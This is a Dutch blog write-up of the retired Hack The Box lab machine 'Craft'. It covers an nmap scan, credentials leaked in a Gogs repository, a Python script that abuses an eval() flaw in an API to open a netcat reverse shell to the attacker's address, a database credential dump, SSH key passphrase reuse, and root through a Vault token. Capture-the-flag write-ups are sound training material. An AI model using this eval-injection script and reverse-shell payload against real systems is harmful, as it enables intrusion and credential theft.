HTB-CRAFT-NL

Craft is  met pensioen. Ik vond het heel leuk om het op te lossen. Het IP-adres is 10.10.10.110 en ik heb het toegevoegd aan / etc / hosts als craft.htb. Laten we meteen verder gaan!

Scan

root@kali:~/htb/craft# nmap -sV -O craft.htb -oN scan.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-07 05:32 EST
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 05:33 (0:00:12 remaining)
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.054s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp open  ssl/http nginx 1.15.8
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/7%OT=22%CT=1%CU=38176%PV=Y%DS=2%DC=I%G=Y%TM=5E145E69
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=8)OPS(
OS:O1=M54BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11
OS:NW7%O6=M54BST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(
OS:R=Y%DF=Y%T=40%W=7210%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.43 seconds

Poort 443 is open, wat betekent dat er een (waarschijnlijk) HTTPS-site op draait. Ik heb https: //craft.htb geopend in een browser:

In de rechterbovenhoek vond ik knoppen die me naar 2 verschillende subdomeinen brachten: api.craft.htb en gogs.craft.htb. Ik voegde deze toe aan /etc/hosts

Enumerating de 2 Sub-Domeinen

api.craft.htb, was niet erg interessant, omdat er een API werd gehost die alleen toegankelijk was met geldige inloggegevens.

Voordat ik de API testte, wilde ik ervoor zorgen dat er niets eenvoudiger te exploiteren was gogs.craft.htb.

Het bleek dat ik gelijk had. Er is een publiek toegankelijke repository die de broncode van de API bevat:

Bovendien was er een interessant “issue”:

Dinesh:
Fix is live and seems to be working :)

c414b16057

Gilfoyle:
I fixed the database schema so this is not an issue now.. Can we remove that sorry excuse for a "patch" before something awful happens?

Ik heb de commit bekeken die de patch bevatte en zag meteen de kwetsbaarheid:

https://gogs.craft.htb/Craft/craft-api/commit/c414b160578943acfe2e158e89409623f41da4c6

De ‘patch’ gebruikt eval () om te controleren of de ABV-waarde (wat dat ook was less) kleiner is dan 1. eval () mag nooit worden gebruikt voor gebruikersinvoer, omdat een kwaadwillende aanvaller deze kan gebruiken om RCE te behalen. Op dit moment wist ik dat ik een shell kon krijgen als ik een geldige gebruikersnaam / wachtwoord-combinatie had.

Credentials and ‘Shell As Root’

After I started looking for credentials, it wasn’t long before I found them. As it tuned out, Dinesh initially added a test script with his credentials:

https://gogs.craft.htb/Craft/craft-api/commit/10e3ba4f0a09c778d7cec673f28d410b73455a86
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)

Nu ik geldige gegevens had, maakte ik een eenvoudig script dat een omgekeerde shell zou voortbrengen:

#!/usr/bin/env python
 
import requests
import json
 
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']
 
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }
 
print("Spwaning a reverse shell on port 443...")
brew_dict = {}
brew_dict['abv'] = '__import__("os").system("nc 10.10.14.156 443 -e /bin/sh &") #'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
 
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print("Done!")
root@fury-battlestation:~/htb/blog/craft# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.156] from (UNKNOWN) [10.10.10.110] 45619
python -c 'import pty; pty.spawn("/bin/sh")'
/opt/app # whoami         
whoami
root
/opt/app # ls -lah /root
ls -lah /root
total 16
drwx------    1 root     root        4.0K Nov 10 11:16 .
drwxr-xr-x    1 root     root        4.0K Feb 10  2019 ..
-rw-------    1 root     root          21 Nov 10 11:16 .ash_history
drwx------    1 root     root        4.0K Feb  9  2019 .cache
/opt/app # ^[[24;12Rls -lah /home
ls -lah /home
total 8
drwxr-xr-x    2 root     root        4.0K Jan 30  2019 .
drwxr-xr-x    1 root     root        4.0K Feb 10  2019 ..
/opt/app # ^[[24;12R

De root was een leugen! Het kostte me wat tijd, maar ik realiseerde me dat ik in een dokcontainer zat.

GOGS Credentials & User

Omdat ik me in de directory van de app bevond, las ik de inhoud van dbtest.py om de referenties voor de database te vinden:

#!/usr/bin/env python
 
import pymysql
from craft_api import settings
 
# test connection to mysql database
 
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)
 
try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)
 
finally:
    connection.close()

De inloggegevens zijn opgeslagen in craft_api / settings.py, dus ik heb de inhoud van dat bestand weergegeven:

# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production
 
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
 
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

Daarna heb ik verbinding gemaakt met de database om te zien of er inloggegevens zijn die ik zou kunnen gebruiken:

/opt/app # ^[[50;12Rpython
python
Python 3.6.8 (default, Feb  6 2019, 01:56:13) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pymysql
import pymysql
>>> from craft_api import settings
from craft_api import settings
>>> connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
...                              user=settings.MYSQL_DATABASE_USER,
...                              password=settings.MYSQL_DATABASE_PASSWORD,
...                              db=settings.MYSQL_DATABASE_DB,
...                              cursorclass=pymysql.cursors.DictCursor)
>>> 

>>> def exec_sql(sql):
        cursor = connection.cursor()
        cursor.execute(sql)
        #result = cursor.fetchone()
        result = cursor.fetchall()
        print(result)def exec_sql(sql):
...         cursor = connection.cursor()
...         cursor.execute(sql)
...         #result = cursor.fetchone()
...         result = cursor.fetchall()
... 
        print(result)
... 

>>> exec_sql("SHOW DATABASES;")
exec_sql("SHOW DATABASES;")
[{'Database': 'craft'}, {'Database': 'information_schema'}]
>>> exec_sql("SHOW TABLES")
exec_sql("SHOW TABLES")
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]
>>> exec_sql("SELECT * FROM user")
exec_sql("SELECT * FROM user")
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
>>> 

De database bevat de volgende gegevens:

dinesh 4aUh0A8PbVJxgd
ebachman llJ77D8QFkLPQB
gilfoyle ZEU3N8WNM2rh4T

Ik heb ze geprobeerd op SSH, maar ze werkten niet. Ze leken echter te werken op het GOGS-platform. Gilfoyle had nog een privérepository die interessant leek:

Ik klikte de .ssh folder en zag de volgende ssh sleutels:

Deze 2 keys gedownload , en mbv chmod 600 op juiste ssh permissie ingesteld.

De sleutel is beveiligd met een wachtwoord. Gelukkig heeft Gilfoyle zijn GOGS hergebruikt passwoord, ZEU3N8WNM2rh4T, dus ik had de mogelijkheid om verbinding te maken met de machine:

root@kali:~/htb/craft/ssh# ssh gilfoyle@craft.htb -i id_rsa
The authenticity of host 'craft.htb (10.10.10.110)' can't be established.
ECDSA key fingerprint is SHA256:sFjoHo6ersU0f0BTzabUkFYHOr6hBzWsSK0MK5dwYAw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'craft.htb,10.10.10.110' (ECDSA) to the list of known hosts.


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/

Enter passphrase for key 'id_rsa': ZEU3N8WNM2rh4T
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ pwd
/home/gilfoyle
root@craft:/home/gilfoyle# cat user.txt
bbf4b0cadfa3d4e6d0914c9cd5a612d4
gilfoyle@craft:~$

Root verkrijgen

Nadat ik de gebruikersvlag had gekregen, herinnerde ik me een interessante map in de privérepository met de naam kluis, dus ik checkte het uit:

Na  wat te ggogelen vond ik de  application’s website.

Basically, the system uses token to grant access to services across machines. I also found a file named .vault-token in the user’s home directory, so I tried to see the token’s capabilities:

gilfoyle@craft:~$ cat ~/.vault-token 
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
gilfoyle@craft:~$ vault token capabilities f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
root
gilfoyle@craft:~$

Kortom, het systeem gebruikt token om toegang te verlenen tot services op verschillende machines. Ik vond ook een bestand met de naam .vault-token in de thuismap van de gebruiker, dus ik probeerde de mogelijkheden van het token te bekijken:

gilfoyle@craft:~$ vault login -address=https://vault.craft.htb:8200 token=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor       1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]
gilfoyle@craft:~$

Daarna heb ik verbinding gemaakt met SSH als root met behulp van de eenmalige wachtwoordoptie (OTP) van “Vault”:

gilfoyle@craft:~$ vault ssh -mode otp root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 308a5ffa-89c3-7625-4f53-a4fb1b1a1841


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/

Password: 308a5ffa-89c3-7625-4f53-a4fb1b1a1841
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# pwd
/root
root@craft:~# cat root.txt 
831d64ef54d92c1af795daae28a11591
root@craft:~#

Auteur : Jacco Straathof

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *